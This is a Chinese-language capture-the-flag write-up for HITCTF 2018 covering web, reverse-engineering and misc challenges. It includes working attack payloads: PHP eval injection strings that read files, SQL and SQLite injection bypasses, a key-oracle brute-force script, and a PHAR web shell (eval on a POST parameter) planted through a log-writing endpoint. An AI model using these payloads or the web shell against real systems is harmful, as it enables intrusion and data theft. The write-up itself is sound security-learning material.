WEB
PHPreading
源碼泄露,存在index.php.bak,,解一下base64知道
$flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){die($flag);}die('emmmm');
輸入得到flag
BabyEval
看一下泄露了一部分源碼
<!--
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');
-->
首先查到了如果是在雙引號內可以通過這樣的方式執行eval
?str=${${phpinfo()}}
然後先輸出全局變量看一下,沒發現flag,但是看到了黑名單…
然而貌似沒什麼卵用,繼續吧,是不是藏到了index.php中?但是看了以後發現也不是。。。
/?str=${${var_dump(file(chr(46).chr(47).chr(105).chr(110).chr(100).chr(101).chr(120).chr(46).chr(112).chr(104).chr(112)))}}
可以查看index.php,然後就猜測應該還有別的文件了!然後最後在根目錄找到了flag的文件
/?str=${${var_dump(glob(chr(47).chr(42)))}}
然後最後費勁巴拉終於解決了問題
/?str=${${var_dump(file(chr(47).chr(49).chr(54).chr(50).chr(57).chr(50).chr(48).chr(57).chr(55).chr(54).chr(100).chr(57).chr(99).chr(48).chr(52).chr(97).chr(99).chr(54).chr(57).chr(101).chr(50).chr(102).chr(52).chr(51).chr(57).chr(50).chr(97).chr(56).chr(99).chr(102).chr(102).chr(98).chr(102).chr(95).chr(102).chr(108).chr(97).chr(103).chr(46).chr(116).chr(120).chr(116)))}}
題目還是不錯的。
補充一下我的方法肯能太笨了…補充好做的方法…
小電影
打開題目一看,說是ffmpeg,立馬想到去年出的ffmpeg任意文件讀取漏洞了,利用file協議的脆弱吧,但是這裏不太好的就是不知道文件的路徑,猜測flag.txt成功了。
具體怎麼做,其實就是用人家的腳本…腳本小子…上傳的文件名必須是123.avi,最後得到flag如下
BabyInjection
給了源碼
<?php
error_reporting(0);
if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
echo 'Login and get the flag';
echo '<form action="" method="post">'."<br/>";
echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
echo '<input type="submit" ></input>'."<br/>";
echo '</form>'."<br/>";
die;
}
$flag = '';
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";
$username = $_POST['username'];
$passwd = $_POST['passwd'];
if (preg_match("/".$filter."/is",$username)==1){
die("Hacker hacker hacker~");
}
if (preg_match("/".$filter."/is",$passwd)==1){
die("Hacker hacker hacker~");
}
$conn = mysqli_connect();
$query = "SELECT * FROM users WHERE username='{$username}';";
echo $query."<br>";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
$result = mysqli_fetch_array($query);
if ($result['passwd'] == $passwd){
die('you did it and this is your flag: '.$flag);
}
else{
die('Wrong password');
}
}
else{
die('Wrong username');
}
這個貌似是一道實驗吧的原題,但是我實在是記不清楚了,最後發現是用with rollup繞過的,但是這裏貌似限制了limit的使用,怎麼限制呢?這裏用了having,半天才想到,真是垃圾!
with rollup的特性在此不講,和group by組合生成一個列爲null的插入查詢。然後用having passwd is null限制即可
最後構造如下
注意passwd不要輸入內容,貌似因爲mysql中的null轉換到php中是一個空字符串,如果有輸入就一定是“”==“某串”,肯定是錯的。
好題好題!
BabyLeakage
這個題目我是有點不懂得,說真的都不知道怎麼弄出來了,利用了網站的報錯機制,首先顯示報錯泄露了文件的結構
然後構造這個
/news/article/1/1/
類似的去爆信息 然後看到了很多不得了的信息啊
然後需要遠程登陸一下他的mysql!
mysql> use F1agIsHere;
Database changed
mysql> describe f
-> ;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| H | text | YES | | NULL | |
| I | text | YES | | NULL | |
| TC | text | YES | | NULL | |
| T | text | YES | | NULL | |
| F | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+
5 rows in set (0.02 sec)
mysql> describe f;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| H | text | YES | | NULL | |
| I | text | YES | | NULL | |
| TC | text | YES | | NULL | |
| T | text | YES | | NULL | |
| F | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+
5 rows in set (0.02 sec)
mysql> describe l;
+---------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------+------+------+-----+---------+-------+
| { | text | YES | | NULL | |
| C10se_ | text | YES | | NULL | |
| Debu91n | text | YES | | NULL | |
+---------+------+------+-----+---------+-------+
3 rows in set (0.02 sec)
mysql> describe a;
+----------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+------+------+-----+---------+-------+
| fo_Is_Im | text | YES | | NULL | |
| mmp | text | YES | | NULL | |
| ort | text | YES | | NULL | |
+----------+------+------+-----+---------+-------+
3 rows in set (0.02 sec)
mysql> describe g;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| 4n7 | text | YES | | NULL | |
| } | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+
2 rows in set (0.02 sec)
最終答案
HITCTF{C10se_Debu91nfo_Is_Immmport4n7}
SecurePY
這個題目本來沒什麼思路,結果找到了相似的題目,這是不是TWCTF2017的題目?呃呃呃,提示是/pycache/,然後想到了這個
在 python-web 應用中,當前目錄下, .py文件生成的pyc文件會被存儲在 pycache文件夾中,並以 .cpython-XX.pyc 爲擴展名,其中的 XX 與 CPython 版本有關。比如app.py,其對應的 pyc文件路徑爲 pycache/app.cpython-35.pyc。我們嘗試訪問:
http://123.206.83.157:8000/__pycache__/app.cpython-35.pyc
結果還真有東西!然後反編譯得到代碼
#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from flask import Flask, request, jsonify, render_template
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import os
app = Flask(__name__)
flag_key = os.environ['KEY']
flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'
def index():
return render_template('index.html', flag_enc = flag_enc)
index = app.route('/')(index)
def getflag():
req = request.json
if not req:
return jsonify(result = False)
if None not in req:
return jsonify(result = False)
key = None['key']
if len(key) != len(flag_key):
return jsonify(result = False)
for (x, y) in zip(key, flag_key):
if ord(x) ^ ord(y):
return jsonify(result = False)
cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000')
plain_text = cryptor.decrypt(a2b_hex(flag_enc))
flag = plain_text.decode('utf-8').strip()
return jsonify(result = True, flag = flag)
getflag = app.route('/getflag', methods = [
'POST'])(getflag)
if __name__ == '__main__':
app.run()
這個是簡化版本的,首先我們看到加密的密鑰要用來作爲CBC模式的密鑰,那麼不出意外是16位。
我們能根據服務器端返回來的信息來判斷長度是否符合。我們傳入的參數key,服務器端並沒有驗證它的類型,也就是說我們可以傳入一個list,而不是一個字符串。我們爲什麼可以判斷?看下圖
如果是長度不匹配那麼返回上面紅色闊內return false了,如果通過進入下一句,如果json傳入null,轉換成python就變了
而ord(None)會崩潰返回500!
我們嘗試一下
這就說明長度確實是16位的了。
然後我們繼續看還有對密鑰的判斷
這是對每一位進行判斷,某一位不通過反匯false,我們可以構造null結尾的數組,如果通過那麼就會檢測下一組的null,反匯500,如果沒通過就會返回false!666直接寫程序把
import requests
url = "http://123.206.83.157:8000/getflag"
key = [None,None,None,None,None,None,None,None,None,None,None,None,None,None,None,None]
for index in range(16):
for i in range(32,128):
key[index] = str(chr(i))
payload = {"key":key}
text = requests.post(url,json=payload).text
if "500 Internal Server Error" in text :
print("".join(key[:index+1]))
break
if "true" in text:
print("".join(key))
exit()
然後就能爆破出密鑰了,真的原題要更復雜一些,這裏簡化了。密鑰爲5ecur3pPYpyPYk3y
HITCTF{O0o0o0oOracle_Attttttack_1s_yinQu3S17ing}
BabyWrite
比賽後期一航巨佬都快放出來wp了…貌似就是XNUCA練習賽login,讓一航大佬生生搞了個getshell的非常規做法,真心牛逼,這裏限制更多了一些
首先包含得到源碼index.php
<?php
if(isset($_GET['page'])){
$file = $_GET['page'].'.php';
include($file);
}else{
header("Location: /?page=login");
die();
}
?>
login.php
<!DOCTYPE html>
<html>
<head>
<title>CTF</title>
</head>
<body>
登陸解鎖更多功能
<form action="login.php" method="POST">
用戶名 : <input name="username" placeholder="username"><br/>
密碼 : <input name="password" placeholder="password"><br/><br/>
<input type="submit" value="登陸">
</form>
</body>
</html>
<?php
require_once('config.php');
if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
if ($username === "admin" && sha1(md5($password)) === $admin_hash){
echo '<script>alert("Login seccess!");</script>';
}else{
if (isset($_GET['debug'])){
if($_GET['debug'] === 'hitctf'){
$logfile = "log/".$username.".log";
$content = $username." => ".$password;
file_put_contents($logfile, $content);
}else{
echo '<script>alert("Login failed!");</script>';
}
}else{
echo '<script>alert("Login failed!");</script>';
}
}
}else{
echo '<script>alert("Please input username and password!");</script>';
}
?>
config.php
<?php
$admin_hash = "df650edd89a1abfb417124133daf4c103e6d2e97";
嘗試了王師傅的zip不行,問了一下說根本沒裝php zip,換了phar嘗試,結果坑到死…mmp
首先是生成就廢了很大功夫…真是傻一個單詞坑一下午!!!
<?php
$phar = new Phar('shell.phar', 0);
$phar['shell.php'] = '<?php eval($_POST[\'cmd\']);?>' ;
$phar->setStub('<?php __HALT_COMPILER();?>');
?>
生成文件,注意的是倒數28字節中,前20字節是文件校驗和,sha1處理的,我們需要重新計算,因爲文件中會加入一個=>
四字節
首先生成的文件是這樣的
然後這樣輸入一下
username=1&password=%3c%3f%70%68%70%20%5f%5f%48%41%4c%54%5f%43%4f%4d%50%49%4c%45%52%28%29%3b%20%3f%3e%0d%0a%37%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%00%00%00%00%09%00%00%00%73%68%65%6c%6c%2e%70%68%70%1c%00%00%00%23%35%74%5a%1c%00%00%00%1f%41%8d%73%b6%01%00%00%00%00%00%00%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%e5%f4%27%dc%f5%71%41%5a%47%c0%3d%32%d3%68%c6%a2%24%09%81%ff%02%00%00%00%47%42%4d%42
這個時候文件前面會多加5個字節!就是1 =>
(或者下載下來修改後的文件)
我們後面的工作就是加上這五個字節,重新計算一下校驗!校驗在就是sha1…這個sha1計算是去掉後28字節在計算…
def getSha1(filename):
sha1Obj = sha1()
with open(filename, 'rb') as f:
sha1Obj.update(f.read())
return sha1Obj.hexdigest()
計算後更新一下…
調整後輸入
username=1&password=%3c%3f%70%68%70%20%5f%5f%48%41%4c%54%5f%43%4f%4d%50%49%4c%45%52%28%29%3b%20%3f%3e%0d%0a%37%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%00%00%00%00%09%00%00%00%73%68%65%6c%6c%2e%70%68%70%1c%00%00%00%23%35%74%5a%1c%00%00%00%1f%41%8d%73%b6%01%00%00%00%00%00%00%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%e7%1d%cc%17%64%66%5c%85%c9%4d%3a%7e%e9%2a%8a%cc%61%db%d8%a0%02%00%00%00%47%42%4d%42
哇…好難的題目…但是真是長見識了!!!感謝pr0ph3t師傅,膜膜膜!
BabyQuery
這個題目本來我沒做出來,被上一題搞矇蔽了…是什麼Graphsql注入
首先是看一下輸入
類似json的格式,然後蘇我欸的GE======其實是1的base32啦,但是我們進行別的測試的時候發現了長度限制
這就很麻煩了,然後我胡亂改了一下函數名字
還有另一個函數getscorebyyourname,嘗試使用它
然後發現沒有長度限制啦!但是我組到這裏就jj了…
像mysql構造注入試一試…
1' union select '1
媽耶…然後正常注入試試
1' union select databases() where '1
呃呃呃???難道不是mysql,猜測是sqlite3嘍
1' union select 1 from sqlite_master where '1
應該沒跑了,因爲sqlite_master是sqlite的隱藏表
0' union select(select name from sqlite_master where type='table' limit 1,1) where '1
看到了
Secr3t_fl4g
然後
0' union select(select * from Secr3t_fl4g) where '1
膜一發一葉飄零
REVERSE
Baby Android
簡單的安卓簽到題目得到簡單的抑或代碼
計算結果如下
s1 = '#$%$#!&#^_^~(:p@_*#######'
s2 = 'kmqgwg]Tm3=NE_/4ouKJW@WE^'
flag =''
for i in range(len(s1)):
flag +=chr(ord(s1[i])^ord(s2[i]))
print flag
#HITCTF{w3lc0me_t0_hitctf}
網管的麒麟臂
沒怎麼接觸過着實嚇了我一跳,直接分析吧,其實最關鍵的要的是KEY而已
c代碼
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Enjoy Binnary!");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
}
else{
printf("Try Harder! XD\n");
}
return 0;
}
dump值
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)
首先KEY1的關鍵點
KEY1=0x00008cdc+8 (注意PC值都是先偏移再計算的)
再看KEY2的關鍵點
bx指令特別說明一下,帶狀態切換的跳轉。最低位爲1時,切換到Thumb指令執行,爲0時,解釋爲ARM指令執行。所謂的Thumb模式就是自帶的一種16位的指令集。這個時候pc不是+8了而是+4!所以我們下面的計算如下
r6=0x00008cfc+8=0x00008d00
因爲最低位是0所以切換到Thumb模式
r3=0x00008d04+4
KEY2=r0=r3=r3+4
最後看一下KEY3,是一樣的道理
你說LR寄存器?他的作用是記錄子函數的返回地址或者是異常時候當前地址-4,所以這個地方沒異常,所以地點是
KEY3=0x00008d80
最後計算三個值和爲108400
學習資料的密碼
關鍵函數在於basen這個函數上,密文是
llW00ml0lWeml3Weceec3m03c0e!0mc!cW0cl3ecc3lm!0eccllecmmWcmWcmWm3c!l
簡單分析一下程序,目標總共67位,67=8*8+3,滿足輸入長度n%3==1的情況,所以輸入的字符串長度爲8*3+1=25位,然後寫程序把它還原回來
s = 'llW00ml0lWeml3Weceec3m03c0e!0mc!cW0cl3ecc3lm!0eccllecmmWcmWcmWm3c!l'
table = 'W3lc0me!'
flag=''
for i in range(len(s)/8):
temp = s[i:i+8]
c=((table.index(s[i*8+2])&6)>>1)|(table.index(s[i*8+1])<<2)|(table.index(s[i*8+0])<<5)
flag+=chr((int)(c))
c=((table.index(s[i*8+2])&1)<<7)|(table.index(s[i*8+3])<<4)|(table.index(s[i*8+4])<<1)|((table.index(s[i*8+5])&4)>>2)
flag+=chr((int)(c))
c=((table.index(s[i*8+5])&3)<<6)|(table.index(s[i*8+6])<<3)|(table.index(s[i*8+7]))
flag+=chr((int)(c))
c=((table.index(s[66])&6)>>1)|(table.index(s[65])<<2)|(table.index(s[64])<<5)
flag+=chr((int)(c))
print flag
HITCTF{3asy_b4se_3ight:)}
最終難題又沒做…
MISC
簽到
BaSO4
用pyc反編譯器反編譯得到代碼
# Embedded file name: base_32_64.py
import base64
import random
import os
import sys
with open('flag.txt', 'r') as file:
flag = file.read()
for i in range(0, 20):
if random.randint(0, 1):
flag = base64.b64encode(flag)
else:
flag = base64.b32encode(flag)
with open('flag_encode.txt', 'w') as file:
file.write(flag)
反正不是base64就是base32了,倒是不用寫腳本,手動嘗試即可
HITCTF{Dont_dive_into_misc}
攻擊流量分析
其實就是文件目錄掃描,然後再後面成功了兩個
分別是index.php和flag.txt(這裏丟了個=),明顯我們要的就是第二個了
<?php
$data = "\x78\x9c\xcb\xc8\x2c\x49\x2e\x49\xab\xb6\x30\x4d\x32\x48\x4c\x35\x4e\xb4\x48\x34\x37\xb0\x48\xb2\x34\x32\x4f\x4a\x33\x4c\x34\x36\x48\x49\x4b\x33\x4e\x36\x33\x35\x31\xa8\xe5\x02\x00\x18\xcb\x0c\x6c";
print_r(gzuncompress($data));
?>
//hitctf{85b0ae3a8a708b927bf1a30dff3c6540}
use_your_ida
這個題目的套路在MCTF上見過,最後就是利用流程圖組成一個圖片吧
鍵盤流量分析
這個鍵盤敲擊記錄,我不是很會,但是我發現不是很會的東西去看看一航巨佬總是有收穫,修改修改一下一航巨佬的代碼就能使用了(具體需要看一下流量中的數據)
#!/usr/bin/env python
import sys
import os
DataFileName = "usb.dat"
presses = []
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>","ff":""}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>","ff":""}
def main():
# check argv
if len(sys.argv) != 2:
print "Usage : "
print " python UsbKeyboardHacker.py data.pcap"
print "Tips : "
print " To use this python script , you must install the tshark first."
print " You can use `sudo apt-get install tshark` to install it"
print "Author : "
print " WangYihang <[email protected]>"
print " If you have any questions , please contact me by email."
print " Thank you for using."
exit(1)
# get argv
pcapFilePath = sys.argv[1]
# get data of pcap
os.system("tshark -r %s -T fields -e usb.capdata > %s" % (pcapFilePath, DataFileName))
# read data
with open(DataFileName, "r") as f:
for line in f:
presses.append(line[0:-1])
# handle
result = ""
for press in presses:
Bytes = press.split(":")
if Bytes[0] == "00":
if Bytes[2] != "00":
result += normalKeys[Bytes[2]]
elif Bytes[0] == "02": # shift key is pressed.
if Bytes[2] != "00":
result += shiftKeys[Bytes[2]]
else:
print "[-] Unknow Key : %s" % (Bytes[0])
print "[+] Found : %s" % (result)
# clean the temp data
os.system("rm ./%s" % (DataFileName))
if __name__ == "__main__":
main()
根據flag格式改一下就行了。
CRYPTO根本沒做…菜